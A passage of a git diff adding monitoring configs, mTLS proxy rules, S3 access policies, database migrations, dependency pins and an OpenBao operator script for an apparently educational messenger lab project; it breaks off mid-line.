{ + "defaults": { + "unit": "short" + }, + "overrides": [] + } + }, + { + "id": 10, + "type": "timeseries", + "title": "Worker busy / capacity", + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "gridPos": { + "x": 12, + "y": 32, + "w": 12, + "h": 8 + }, + "targets": [ + { + "expr": "sum(worker_busy)", + "refId": "A" + }, + { + "expr": "sum(worker_capacity)", + "refId": "B" + } + ], + "fieldConfig": { + "defaults": { + "unit": "short" + }, + "overrides": [] + } + }, + { + "id": 11, + "type": "timeseries", + "title": "Process CPU / cores", + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "gridPos": { + "x": 0, + "y": 40, + "w": 12, + "h": 8 + }, + "targets": [ + { + "expr": "rate(process_cpu_seconds[1m])", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "unit": "short" + }, + "overrides": [] + } + }, + { + "id": 12, + "type": "timeseries", + "title": "Process RSS high water / bytes", + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "gridPos": { + "x": 12, + "y": 40, + "w": 12, + "h": 8 + }, + "targets": [ + { + "expr": "process_memory_bytes", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "unit": "bytes" + }, + "overrides": [] + } + }, + { + "id": 13, + "type": "timeseries", + "title": "API budget burn / 30s / 2m / 5m", + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "gridPos": { + "x": 0, + "y": 48, + "w": 12, + "h": 8 + }, + "targets": [ + { + "expr": "slo:api_error_ratio:30s / 0.01", + "refId": "A" + }, + { + "expr": "slo:api_error_ratio:2m / 0.01", + "refId": "B" + }, + { + "expr": "slo:api_error_ratio:5m / 0.01", + "refId": "C" + } + ], + "fieldConfig": { + "defaults": { + "unit": "short" + }, + "overrides": [] + } + }, + { + "id": 14, + "type": "timeseries", + "title": "Active alerts", + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "gridPos": { + "x": 12, + "y": 48, + "w": 12, + "h": 8 + }, + "targets": [ + { + "expr": "ALERTS{alertstate=\"firing\"}", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "unit": "short" + }, + "overrides": [] + } + }, + { + "id": 15, + "type": "timeseries", + "title": "Queue probe valid (0 = DB unavailable)", + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "gridPos": { + "x": 0, + "y": 56, + "w": 12, + "h": 8 + }, + "targets": [ + { + "expr": "queue_probe_ok_ratio", + "refId": "A" + } + ], + "fieldConfig": { + "defaults": { + "unit": "short" + }, + "overrides": [] + } + }, + { + "id": 16, + "type": "timeseries", + "title": "Collector failed exports / refused spans", + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "gridPos": { + "x": 12, + "y": 56, + "w": 12, + "h": 8 + }, + "targets": [ + { + "expr": "rate(otelcol_exporter_send_failed_spans_total[1m])", + "refId": "A" + }, + { + "expr": "rate(otelcol_receiver_refused_spans_total[1m])", + "refId": "B" + } + ], + "fieldConfig": { + "defaults": { + "unit": "short" + }, + "overrides": [] + } + } + ], + "tags": [ + "lab7" + ] +} diff --git a/infra/otel/grafana/provisioning/dashboards/provider.yaml b/infra/otel/grafana/provisioning/dashboards/provider.yaml new file mode 100644 index 0000000..8548557 --- /dev/null +++ b/infra/otel/grafana/provisioning/dashboards/provider.yaml @@ -0,0 +1,6 @@ +apiVersion: 1 +providers: +- name: Lab6 + type: file + options: + path: /var/lib/grafana/dashboards diff --git a/infra/otel/loki.yaml b/infra/otel/loki.yaml new file mode 100644 index 0000000..bc0cc6c --- /dev/null +++ b/infra/otel/loki.yaml @@ -0,0 +1,34 @@ +auth_enabled: false +server: + http_listen_address: 127.0.0.1 + http_listen_port: 13100 + grpc_listen_address: 127.0.0.1 +common: + path_prefix: /loki + instance_addr: 127.0.0.1 + replication_factor: 1 + ring: + kvstore: + store: inmemory + storage: + filesystem: + chunks_directory: /loki/chunks + rules_directory: /loki/rules +schema_config: + configs: + - from: '2024-01-01' + store: tsdb + object_store: filesystem + schema: v13 + index: + prefix: index_ + period: 24h +limits_config: + allow_structured_metadata: true + retention_period: 48h +compactor: + working_directory: /loki/compactor + retention_enabled: true + delete_request_store: filesystem +analytics: + reporting_enabled: false diff --git a/infra/otel/prometheus.yaml b/infra/otel/prometheus.yaml new file mode 100644 index 0000000..b9e35ea --- /dev/null +++ b/infra/otel/prometheus.yaml @@ -0,0 +1,25 @@ +global: + scrape_interval: 5s + evaluation_interval: 5s +rule_files: +- /etc/prometheus/recording.yaml +- /etc/prometheus/alerts.yaml +scrape_configs: +- job_name: application + scheme: https + tls_config: + ca_file: /pki/ca.crt + cert_file: /pki/service.crt + key_file: /pki/service.key + static_configs: + - targets: + - collector:8889 +- job_name: collector + scheme: https + tls_config: + ca_file: /pki/ca.crt + cert_file: /pki/service.crt + key_file: /pki/service.key + static_configs: + - targets: + - collector:8888 diff --git a/infra/otel/recording.yaml b/infra/otel/recording.yaml new file mode 100644 index 0000000..ff10a0d --- /dev/null +++ b/infra/otel/recording.yaml @@ -0,0 +1,28 @@ +groups: +- name: slo + interval: 5s + rules: + - record: slo:api_error_ratio:30s + expr: (sum(rate(app_http_requests_total{status_class="5xx",route!~"/health.*"}[30s])) + or vector(0)) / clamp_min(sum(rate(app_http_requests_total{route!~"/health.*"}[30s])), + 0.001) + - record: slo:ready_bad_ratio:30s + expr: sum(rate(ready_deadline_missed_total[30s])) / clamp_min(sum(rate(ready_deadline_jobs_total[30s])),0.001) + - record: slo:api_error_ratio:1m + expr: (sum(rate(app_http_requests_total{status_class="5xx",route!~"/health.*"}[1m])) + or vector(0)) / clamp_min(sum(rate(app_http_requests_total{route!~"/health.*"}[1m])), + 0.001) + - record: slo:ready_bad_ratio:1m + expr: sum(rate(ready_deadline_missed_total[1m])) / clamp_min(sum(rate(ready_deadline_jobs_total[1m])),0.001) + - record: slo:api_error_ratio:2m + expr: (sum(rate(app_http_requests_total{status_class="5xx",route!~"/health.*"}[2m])) + or vector(0)) / clamp_min(sum(rate(app_http_requests_total{route!~"/health.*"}[2m])), + 0.001) + - record: slo:ready_bad_ratio:2m + expr: sum(rate(ready_deadline_missed_total[2m])) / clamp_min(sum(rate(ready_deadline_jobs_total[2m])),0.001) + - record: slo:api_error_ratio:5m + expr: (sum(rate(app_http_requests_total{status_class="5xx",route!~"/health.*"}[5m])) + or vector(0)) / clamp_min(sum(rate(app_http_requests_total{route!~"/health.*"}[5m])), + 0.001) + - record: slo:ready_bad_ratio:5m + expr: sum(rate(ready_deadline_missed_total[5m])) / clamp_min(sum(rate(ready_deadline_jobs_total[5m])),0.001) diff --git a/infra/otel/tempo.yaml b/infra/otel/tempo.yaml new file mode 100644 index 0000000..0638121 --- /dev/null +++ b/infra/otel/tempo.yaml @@ -0,0 +1,25 @@ +server: + http_listen_address: 127.0.0.1 + http_listen_port: 13200 + grpc_listen_address: 127.0.0.1 +distributor: + receivers: + otlp: + protocols: + http: + endpoint: 127.0.0.1:14318 +ingester: + trace_idle_period: 5s + max_block_duration: 1m +compactor: + compaction: + block_retention: 48h +storage: + trace: + backend: local + wal: + path: /var/tempo/wal + local: + path: /var/tempo/blocks +usage_report: + reporting_enabled: false diff --git a/infra/pg-init.sh b/infra/pg-init.sh new file mode 100755 index 0000000..db953f9 --- /dev/null +++ b/infra/pg-init.sh @@ -0,0 +1,10 @@ +#!/bin/sh +set -eu +for role in api worker dispatcher reconciler; do + LAB_ROLE_PASSWORD="$(cat "/credentials/$role")" \ + psql -q -v ON_ERROR_STOP=1 --username "$POSTGRES_USER" --dbname "$POSTGRES_DB" \ + -v role="lab_$role" <<'SQL' +\getenv pw LAB_ROLE_PASSWORD +CREATE ROLE :"role" LOGIN NOSUPERUSER NOCREATEDB NOCREATEROLE NOREPLICATION PASSWORD :'pw'; +SQL +done diff --git a/infra/pg_hba.conf b/infra/pg_hba.conf new file mode 100644 index 0000000..0885027 --- /dev/null +++ b/infra/pg_hba.conf @@ -0,0 +1,3 @@ +local all all peer +hostssl messenger all 0.0.0.0/0 scram-sha-256 +hostssl messenger all ::/0 scram-sha-256 diff --git a/infra/redis.conf b/infra/redis.conf new file mode 100644 index 0000000..87d81cb --- /dev/null +++ b/infra/redis.conf @@ -0,0 +1,10 @@ +bind 127.0.0.1 +port 6379 +protected-mode yes +dir /data +appendonly yes +appendfsync always +save "" +maxmemory 160mb +maxmemory-policy noeviction +aclfile /credentials/users.acl diff --git a/infra/s3.Dockerfile b/infra/s3.Dockerfile new file mode 100644 index 0000000..ca1e2b5 --- /dev/null +++ b/infra/s3.Dockerfile @@ -0,0 +1,27 @@ +# syntax=docker/dockerfile:1.7.0 +FROM python:3.12.10-slim-bookworm +ARG COMPONENT +ARG RELEASE +ARG SHA256 +RUN python - <<'PY' +import hashlib +import os +from pathlib import Path +import shutil +import urllib.request + +component = os.environ['COMPONENT'] +release = os.environ['RELEASE'] +assert component in {'minio', 'mc'} +name = f'{component}.linux-amd64.{release}' +url = f'https://github.com/minio/{component}/releases/download/{release}/{name}' +target = Path('/usr/local/bin') / component +with urllib.request.urlopen(url, timeout=180) as response, target.open('wb') as file: + shutil.copyfileobj(response, file) +with target.open('rb') as file: + digest = hashlib.file_digest(file, 'sha256').hexdigest() +assert digest == os.environ['SHA256'], 'Unexpected binary checksum' +target.chmod(0o755) +PY +COPY infra/minio-entrypoint.sh /entrypoint.sh +ENTRYPOINT ["/bin/sh", "/entrypoint.sh"] diff --git a/infra/s3/api.json b/infra/s3/api.json new file mode 100644 index 0000000..2ea9a85 --- /dev/null +++ b/infra/s3/api.json @@ -0,0 +1,49 @@ +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": [ + "s3:PutObject", + "s3:DeleteObject" + ], + "Resource": [ + "arn:aws:s3:::messenger-attachments/staging/*" + ] + }, + { + "Effect": "Allow", + "Action": [ + "s3:GetObject" + ], + "Resource": [ + "arn:aws:s3:::messenger-attachments/originals/*" + ] + }, + { + "Effect": "Allow", + "Action": [ + "s3:GetObject" + ], + "Resource": [ + "arn:aws:s3:::messenger-attachments/variants/*" + ] + }, + { + "Effect": "Allow", + "Action": [ + "s3:ListBucket" + ], + "Resource": [ + "arn:aws:s3:::messenger-attachments" + ], + "Condition": { + "StringLike": { + "s3:prefix": [ + "originals/" + ] + } + } + } + ] +} diff --git a/infra/s3/reconciler.json b/infra/s3/reconciler.json new file mode 100644 index 0000000..324cd87 --- /dev/null +++ b/infra/s3/reconciler.json @@ -0,0 +1,31 @@ +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": [ + "s3:GetObject", + "s3:DeleteObject" + ], + "Resource": [ + "arn:aws:s3:::messenger-attachments/staging/*" + ] + }, + { + "Effect": "Allow", + "Action": [ + "s3:ListBucket" + ], + "Resource": [ + "arn:aws:s3:::messenger-attachments" + ], + "Condition": { + "StringLike": { + "s3:prefix": [ + "staging/" + ] + } + } + } + ] +} diff --git a/infra/s3/worker.json b/infra/s3/worker.json new file mode 100644 index 0000000..d8a942e --- /dev/null +++ b/infra/s3/worker.json @@ -0,0 +1,35 @@ +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": [ + "s3:GetObject", + "s3:DeleteObject" + ], + "Resource": [ + "arn:aws:s3:::messenger-attachments/staging/*" + ] + }, + { + "Effect": "Allow", + "Action": [ + "s3:GetObject", + "s3:PutObject" + ], + "Resource": [ + "arn:aws:s3:::messenger-attachments/originals/*" + ] + }, + { + "Effect": "Allow", + "Action": [ + "s3:GetObject", + "s3:PutObject" + ], + "Resource": [ + "arn:aws:s3:::messenger-attachments/variants/*" + ] + } + ] +} diff --git a/infra/tls/broker.cfg b/infra/tls/broker.cfg new file mode 100644 index 0000000..3dae9b2 --- /dev/null +++ b/infra/tls/broker.cfg @@ -0,0 +1,15 @@ +global + ssl-default-bind-options ssl-min-ver TLSv1.2 no-tls-tickets + maxconn 128 + +defaults + timeout connect 2s + timeout client 30s + timeout server 30s + retries 0 + +listen streams + mode tcp + bind :6380 ssl crt /pki/service.pem ca-file /pki/ca.crt verify required + tcp-request content reject unless { ssl_c_s_dn(CN) -m str dispatcher worker } + server redis 127.0.0.1:6379 diff --git a/infra/tls/collector.cfg b/infra/tls/collector.cfg new file mode 100644 index 0000000..d6afd42 --- /dev/null +++ b/infra/tls/collector.cfg @@ -0,0 +1,27 @@ +global + ssl-default-bind-options ssl-min-ver TLSv1.2 no-tls-tickets + maxconn 128 + +defaults + timeout connect 2s + timeout client 30s + timeout server 30s + retries 0 + +listen ingest + mode http + bind :4318 ssl crt /pki/service.pem ca-file /pki/ca.crt verify required + http-request deny unless { ssl_c_s_dn(CN) -m str api worker dispatcher reconciler } { method POST } { path -m str /v1/logs /v1/traces /v1/metrics } + server local 127.0.0.1:14318 + +listen app_metrics + mode http + bind :8889 ssl crt /pki/service.pem ca-file /pki/ca.crt verify required + http-request deny unless { ssl_c_s_dn(CN) -m str scraper } { method GET } { path -m str /metrics } + server local 127.0.0.1:18889 + +listen collector_metrics + mode http + bind :8888 ssl crt /pki/service.pem ca-file /pki/ca.crt verify required + http-request deny unless { ssl_c_s_dn(CN) -m str scraper } { method GET } { path -m str /metrics } + server local 127.0.0.1:18888 diff --git a/infra/tls/loki.cfg b/infra/tls/loki.cfg new file mode 100644 index 0000000..a31762e --- /dev/null +++ b/infra/tls/loki.cfg @@ -0,0 +1,17 @@ +global + ssl-default-bind-options ssl-min-ver TLSv1.2 no-tls-tickets + maxconn 128 + +defaults + timeout connect 2s + timeout client 30s + timeout server 30s + retries 0 + +listen logs + mode http + bind :3100 ssl crt /pki/service.pem ca-file /pki/ca.crt verify required + http-request allow if { ssl_c_s_dn(CN) -m str collector-export } { ssl_c_der,sha2(256),hex,lower -m str -f /pki/collector-fingerprint } { method POST } { path -m str /otlp/v1/logs } + http-request allow if { ssl_c_s_dn(CN) -m str grafana operator } { method GET } { path_beg /loki/api/v1/ } + http-request deny + server local 127.0.0.1:13100 diff --git a/infra/tls/prometheus.cfg b/infra/tls/prometheus.cfg new file mode 100644 index 0000000..1be03ab --- /dev/null +++ b/infra/tls/prometheus.cfg @@ -0,0 +1,15 @@ +global + ssl-default-bind-options ssl-min-ver TLSv1.2 no-tls-tickets + maxconn 128 + +defaults + timeout connect 2s + timeout client 30s + timeout server 30s + retries 0 + +listen query + mode http + bind :9090 ssl crt /pki/service.pem ca-file /pki/ca.crt verify required + http-request deny unless { ssl_c_s_dn(CN) -m str grafana operator } { method GET POST } { path -m reg ^/api/v1/(query|query_range|labels|series|label/[^/]+/values|status/buildinfo|alerts|rules)$ } + server local 127.0.0.1:19090 diff --git a/infra/tls/tempo.cfg b/infra/tls/tempo.cfg new file mode 100644 index 0000000..c8f25ff --- /dev/null +++ b/infra/tls/tempo.cfg @@ -0,0 +1,21 @@ +global + ssl-default-bind-options ssl-min-ver TLSv1.2 no-tls-tickets + maxconn 128 + +defaults + timeout connect 2s + timeout client 30s + timeout server 30s + retries 0 + +listen query + mode http + bind :3200 ssl crt /pki/service.pem ca-file /pki/ca.crt verify required + http-request deny unless { ssl_c_s_dn(CN) -m str grafana operator } { method GET } { path_beg /api/ } + server local 127.0.0.1:13200 + +listen ingest + mode http + bind :4318 ssl crt /pki/service.pem ca-file /pki/ca.crt verify required + http-request deny unless { ssl_c_s_dn(CN) -m str collector-export } { ssl_c_der,sha2(256),hex,lower -m str -f /pki/collector-fingerprint } { method POST } { path -m str /v1/traces } + server local 127.0.0.1:14318 diff --git a/migrations/001_initial.sql b/migrations/001_initial.sql new file mode 100644 index 0000000..b3b6328 --- /dev/null +++ b/migrations/001_initial.sql @@ -0,0 +1,36 @@ +-- Сначала схема и ограничения, затем запросы приложения. +CREATE TABLE users ( + id uuid PRIMARY KEY, + username varchar(32) NOT NULL UNIQUE CHECK (username ~ '^[a-z0-9_]{3,32}$'), + display_name varchar(100) NOT NULL CHECK (length(btrim(display_name)) > 0), + password_hash text NOT NULL, + created_at timestamptz NOT NULL DEFAULT clock_timestamp() +); +CREATE TABLE chats ( + id uuid PRIMARY KEY, + title varchar(100) NOT NULL CHECK (length(btrim(title)) > 0), + created_at timestamptz NOT NULL DEFAULT clock_timestamp() +); +CREATE TABLE chat_members ( + chat_id uuid NOT NULL REFERENCES chats(id) ON DELETE CASCADE, + user_id uuid NOT NULL REFERENCES users(id), + PRIMARY KEY (chat_id, user_id) +); +CREATE INDEX chat_members_user_idx ON chat_members(user_id, chat_id); +CREATE INDEX chats_order_idx ON chats(created_at, id); +CREATE TABLE messages ( + id uuid PRIMARY KEY, + chat_id uuid NOT NULL REFERENCES chats(id), + sender_id uuid NOT NULL, + text varchar(4000) NOT NULL CHECK (length(btrim(text)) > 0), + created_at timestamptz NOT NULL DEFAULT clock_timestamp(), + FOREIGN KEY (chat_id, sender_id) REFERENCES chat_members(chat_id, user_id) +); +-- Equality по chat_id и range/order по двум полям курсора. +CREATE INDEX messages_history_idx ON messages(chat_id, created_at, id); +CREATE TABLE sessions ( + token_hash char(64) PRIMARY KEY, + user_id uuid NOT NULL REFERENCES users(id), + expires_at timestamptz NOT NULL +); +CREATE INDEX sessions_expiry_idx ON sessions(expires_at); diff --git a/migrations/002_idempotency.sql b/migrations/002_idempotency.sql new file mode 100644 index 0000000..d293758 --- /dev/null +++ b/migrations/002_idempotency.sql @@ -0,0 +1,10 @@ +CREATE TABLE message_requests ( + user_id uuid NOT NULL REFERENCES users(id), + chat_id uuid NOT NULL REFERENCES chats(id), + request_key varchar(128) NOT NULL, + body_hash char(64) NOT NULL, + response jsonb NOT NULL, + expires_at timestamptz NOT NULL, + PRIMARY KEY (user_id, chat_id, request_key) +); +CREATE INDEX message_requests_expiry_idx ON message_requests(expires_at); diff --git a/migrations/003_attachments.sql b/migrations/003_attachments.sql new file mode 100644 index 0000000..c35917e --- /dev/null +++ b/migrations/003_attachments.sql @@ -0,0 +1,41 @@ +CREATE TABLE attachments ( + id uuid PRIMARY KEY, + chat_id uuid NOT NULL REFERENCES chats(id), + owner_id uuid NOT NULL REFERENCES users(id), + filename varchar(255) NOT NULL, + content_type text NOT NULL CHECK (content_type IN ('image/png', 'image/jpeg')), + size_bytes integer NOT NULL CHECK (size_bytes BETWEEN 1 AND 10485760), + sha256 char(64) NOT NULL, + object_key text NOT NULL UNIQUE, + status text NOT NULL CHECK (status IN ('uploading', 'ready', 'missing')), + lease_until timestamptz NOT NULL, + error_code text, + created_at timestamptz NOT NULL DEFAULT clock_timestamp(), + updated_at timestamptz NOT NULL DEFAULT clock_timestamp() +); +CREATE INDEX attachments_chat_idx ON attachments(chat_id, created_at, id); +CREATE TABLE message_attachments ( + message_id uuid NOT NULL REFERENCES messages(id) ON DELETE CASCADE, + attachment_id uuid NOT NULL REFERENCES attachments(id), + position smallint NOT NULL CHECK (position BETWEEN 0 AND 9), + PRIMARY KEY (message_id, position), + UNIQUE (message_id, attachment_id) +); +ALTER TABLE messages DROP CONSTRAINT messages_text_check; +CREATE FUNCTION check_message_content() RETURNS trigger LANGUAGE plpgsql AS $$ +BEGIN + IF length(btrim(NEW.text))=0 AND NOT EXISTS ( + SELECT 1 FROM message_attachments WHERE message_id=NEW.id + ) THEN + RAISE EXCEPTION 'message needs text or attachment' USING ERRCODE='23514'; + END IF; + RETURN NEW; +END; +$$; +-- Проверяем в конце транзакции, когда связи вложений уже вставлены. +CREATE CONSTRAINT TRIGGER message_content +AFTER INSERT OR UPDATE ON messages DEFERRABLE INITIALLY DEFERRED +FOR EACH ROW EXECUTE FUNCTION check_message_content(); +-- Прежние текстовые повторы остаются совместимыми с расширенной схемой Message. +UPDATE message_requests SET response=response || '{"attachment_ids": []}'::jsonb +WHERE NOT response ? 'attachment_ids'; diff --git a/migrations/004_pipeline.sql b/migrations/004_pipeline.sql new file mode 100644 index 0000000..7c70afe --- /dev/null +++ b/migrations/004_pipeline.sql @@ -0,0 +1,57 @@ +ALTER TABLE attachments DROP CONSTRAINT attachments_status_check; +UPDATE attachments SET status='failed',error_code='legacy_incomplete' WHERE status IN ('uploading','missing'); +ALTER TABLE attachments ADD CONSTRAINT attachments_status_check CHECK (status IN ('queued','processing','ready','failed')); +ALTER TABLE attachments ADD COLUMN pipeline_version integer NOT NULL DEFAULT 1 CHECK (pipeline_version>0); +ALTER TABLE attachments ADD COLUMN variants jsonb NOT NULL DEFAULT '[]'; +ALTER TABLE attachments ADD COLUMN variant_keys jsonb NOT NULL DEFAULT '{}'; + +CREATE TABLE jobs ( + id uuid PRIMARY KEY, + attachment_id uuid NOT NULL REFERENCES attachments(id), + pipeline_version integer NOT NULL CHECK (pipeline_version>0), + status text NOT NULL CHECK (status IN ('queued','processing','ready','failed','superseded')), + staging_key text NOT NULL UNIQUE, + attempts integer NOT NULL DEFAULT 0, + budget_start integer NOT NULL DEFAULT 0, + available_at timestamptz NOT NULL DEFAULT clock_timestamp(), + lease_until timestamptz, + lease_token uuid, + error_code text, + staged_deleted_at timestamptz, + created_at timestamptz NOT NULL DEFAULT clock_timestamp(), + updated_at timestamptz NOT NULL DEFAULT clock_timestamp(), + UNIQUE (attachment_id,pipeline_version) +); +ALTER TABLE attachments ADD COLUMN current_job_id uuid REFERENCES jobs(id); +CREATE INDEX jobs_schedule_idx ON jobs(status,available_at); +CREATE TABLE job_outbox ( + id bigserial PRIMARY KEY, + job_id uuid NOT NULL REFERENCES jobs(id), + attempt integer NOT NULL CHECK (attempt>0), + published_at timestamptz, + stream_id text, + created_at timestamptz NOT NULL DEFAULT clock_timestamp(), + UNIQUE (job_id,attempt) +); +CREATE INDEX job_outbox_pending_idx ON job_outbox(id) WHERE published_at IS NULL; +CREATE TABLE job_events ( + id bigserial PRIMARY KEY, + job_id uuid NOT NULL REFERENCES jobs(id), + event text NOT NULL, + details jsonb NOT NULL DEFAULT '{}', + created_at timestamptz NOT NULL DEFAULT clock_timestamp() +); +-- Точечные одноразовые сбои нужны для воспроизводимого эксперимента трека 2. +-- Исполнение разрешено только с ALLOW_FAULT_INJECTION=1; UUID конкретной job обязателен. +CREATE TABLE pipeline_faults ( + job_id uuid NOT NULL REFERENCES jobs(id), + phase text NOT NULL, + fired_at timestamptz, + PRIMARY KEY (job_id,phase) +); +CREATE TABLE broker_rejections ( + stream_id text PRIMARY KEY, + sha256 char(64) NOT NULL, + error_code text NOT NULL, + created_at timestamptz NOT NULL DEFAULT clock_timestamp() +); diff --git a/migrations/005_observability.sql b/migrations/005_observability.sql new file mode 100644 index 0000000..21c8524 --- /dev/null +++ b/migrations/005_observability.sql @@ -0,0 +1,2 @@ +ALTER TABLE jobs ADD COLUMN traceparent text; +ALTER TABLE jobs ADD COLUMN tracestate text; diff --git a/migrations/006_security.sql b/migrations/006_security.sql new file mode 100644 index 0000000..ccffef9 --- /dev/null +++ b/migrations/006_security.sql @@ -0,0 +1,33 @@ +CREATE TABLE auth_budgets ( + action text PRIMARY KEY, + window_start timestamptz NOT NULL, + used integer NOT NULL CHECK (used > 0) +); + +REVOKE CREATE ON SCHEMA public FROM PUBLIC; +REVOKE ALL ON ALL TABLES IN SCHEMA public FROM PUBLIC; +GRANT CONNECT ON DATABASE messenger TO lab_api, lab_worker, lab_dispatcher, lab_reconciler; +GRANT USAGE ON SCHEMA public TO lab_api, lab_worker, lab_dispatcher, lab_reconciler; + +GRANT SELECT, INSERT ON users, chats, chat_members, messages, message_attachments TO lab_api; +GRANT UPDATE (password_hash) ON users TO lab_api; +GRANT SELECT, INSERT, DELETE ON sessions, message_requests TO lab_api; +GRANT SELECT, INSERT ON attachments, jobs, job_outbox TO lab_api; +GRANT UPDATE (current_job_id) ON attachments TO lab_api; +GRANT UPDATE (traceparent, tracestate) ON jobs TO lab_api; +GRANT SELECT, INSERT, UPDATE ON auth_budgets TO lab_api; +GRANT INSERT ON job_events TO lab_api; + +GRANT SELECT ON attachments, jobs TO lab_worker, lab_dispatcher, lab_reconciler; +GRANT UPDATE (status, attempts, lease_token, lease_until, error_code, updated_at, available_at) + ON jobs TO lab_worker, lab_dispatcher; +GRANT UPDATE (traceparent, tracestate) ON jobs TO lab_worker, lab_dispatcher; +GRANT UPDATE (staged_deleted_at) ON jobs TO lab_worker, lab_reconciler; +GRANT UPDATE (status, error_code, updated_at) ON attachments TO lab_worker, lab_dispatcher; +GRANT UPDATE (variants, variant_keys) ON attachments TO lab_worker; +GRANT INSERT ON broker_rejections TO lab_worker; +GRANT SELECT, UPDATE (published_at, stream_id) ON job_outbox TO lab_dispatcher; +GRANT INSERT ON job_outbox TO lab_worker, lab_dispatcher; +GRANT INSERT ON job_events TO lab_worker, lab_dispatcher, lab_reconciler; +GRANT USAGE ON SEQUENCE job_events_id_seq TO lab_api, lab_worker, lab_dispatcher, lab_reconciler; +GRANT USAGE ON SEQUENCE job_outbox_id_seq TO lab_api, lab_worker, lab_dispatcher; diff --git a/migrations/007_private_database.sql b/migrations/007_private_database.sql new file mode 100644 index 0000000..c069a36 --- /dev/null +++ b/migrations/007_private_database.sql @@ -0,0 +1 @@ +REVOKE CONNECT, TEMPORARY ON DATABASE messenger FROM PUBLIC; diff --git a/requirements.runtime.lock b/requirements.runtime.lock new file mode 100644 index 0000000..dbf5af6 --- /dev/null +++ b/requirements.runtime.lock @@ -0,0 +1,44 @@ +annotated-doc==0.0.6 +annotated-types==0.8.0 +anyio==4.16.0 +argon2-cffi-bindings==26.1.0 +argon2-cffi==23.1.0 +boto3==1.40.18 +botocore==1.40.76 +certifi==2026.10.23 +cffi==2.0.0 +charset-normalizer==3.5.2 +click==8.5.0 +fastapi==0.162.4 +googleapis-common-protos==1.76.0 +h11==0.16.0 +idna==3.20 +importlib_metadata==8.7.1 +jmespath==1.1.0 +opentelemetry-api==1.45.2 +opentelemetry-exporter-http-transport==0.66b2 +opentelemetry-exporter-otlp-common==0.66b2 +opentelemetry-exporter-otlp-proto-common==1.45.2 +opentelemetry-exporter-otlp-proto-http==1.45.2 +opentelemetry-proto==1.45.2 +opentelemetry-sdk==1.45.2 +opentelemetry-semantic-conventions==0.66b2 +pillow==12.3.0 +protobuf==7.36.2 +psycopg-binary==3.2.9 +psycopg-pool==3.3.3 +psycopg==3.2.9 +pycparser==3.0 +pydantic==2.14.3 +pydantic_core==2.50.4 +python-dateutil==2.9.0.post0 +redis==5.2.1 +requests==2.34.2 +s3transfer==0.13.1 +six==1.17.0 +starlette==1.7.0 +typing-inspection==0.4.5 +typing_extensions==4.16.0 +urllib3==2.8.0 +uvicorn==0.34.2 +zipp==4.1.2 diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..6c8d132 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,21 @@ +annotated-types==0.8.0 +anyio==4.16.0 +argon2-cffi==23.1.0 +boto3==1.40.18 +click==8.5.0 +fastapi==0.162.4 +h11==0.16.0 +idna==3.20 +opentelemetry-api==1.45.2 +opentelemetry-exporter-otlp-proto-http==1.45.2 +opentelemetry-sdk==1.45.2 +Pillow==12.3.0 +psycopg-pool==3.3.3 +psycopg[binary]==3.2.9 +pydantic==2.14.3 +pydantic_core==2.50.4 +redis==5.2.1 +starlette==1.7.0 +typing-inspection==0.4.5 +typing_extensions==4.16.0 +uvicorn==0.34.2 diff --git a/scripts/api_health.py b/scripts/api_health.py new file mode 100644 index 0000000..020debb --- /dev/null +++ b/scripts/api_health.py @@ -0,0 +1,5 @@ +"""Process heartbeat for Compose; only the trusted LB probes HTTPS readiness.""" +from pathlib import Path +import sys + +sys.exit(0 if Path("/tmp/instance-id").is_file() else 1) diff --git a/scripts/bao_operator.py b/scripts/bao_operator.py new file mode 100644 index 0000000..a51e342 --- /dev/null +++ b/scripts/bao_operator.py @@ -0,0 +1,167 @@ +#!/usr/bin/env python3 +"""Explicit operator actions. The host-only unseal shares are never mounted.""" +import argparse +import json +import os +from pathlib import Path +import secrets +import subprocess +import time +from urllib.error import HTTPError + +from scripts.local_pki import ROLES, ROOT, RUNTIME, write +from src.bao import client, request + +ADDRESS = "https://localhost:8207" +MATERIAL = ROOT / "operator-raft" +SHARES = MATERIAL / "unseal.json" +INITIAL = MATERIAL / "initial-root" +IDENTITY = RUNTIME / "operator" +OPENER = client(*(str(IDENTITY / f) for f in ("service.crt", "service.key", "ca.crt"))) + + +def call(path, body=None, token=None, method=None): + return request(OPENER, ADDRESS, path, body, token, method, timeout=25) + + +def unseal(): + status = seal_status() + if status["sealed"]: + for share in json.loads(SHARES.read_text()): + status = call("sys/unseal", {"key": share}, method="PUT") + if not status["sealed"]: + break + if status["sealed"]: + raise RuntimeError("OpenBao is still sealed") + for _ in range(25): + try: + call("sys/health") + return + except OSError: + time.sleep(1) + raise RuntimeError("OpenBao did not become active after unseal") + + +def db_url(role, password): + return f"postgresql://lab_{role}:{password}@db:5432/messenger?sslmode=verify-full&sslrootcert=/pki/ca.crt" + + +def initial_values(role): + values = {"DATABASE_URL": db_url(role, (ROOT / "bootstrap" / "db" / role).read_text())} + if role != "dispatcher": + values["S3_ACCESS_KEY_ID"] = "lab-" + role + values["S3_SECRET_ACCESS_KEY"] = (ROOT / "bootstrap" / "s3" / role).read_text() + if role in {"dispatcher", "worker"}: + user = "producer" if role == "dispatcher" else "worker" + password = (ROOT / "bootstrap" / "broker" / user).read_text() + values["BROKER_URL"] = f"rediss://{user}:{password}@broker:6380/0" + return values + + +def login(role="operator"): + return call("auth/cert/login", {"name": role})["auth"] + + +def configure(token): + if "messenger/" not in call("sys/mounts", token=token): + call("sys/mounts/messenger", {"type": "kv", "options": {"version": "2"}}, token) + if "cert/" not in call("sys/auth", token=token): + call("sys/auth/cert", {"type": "cert"}, token) + ttl = int(os.getenv("BAO_TOKEN_TTL", "30")) + for role in (*ROLES, "operator"): + call("sys/policies/acl/" + role, { + "policy": (Path("infra/openbao") / 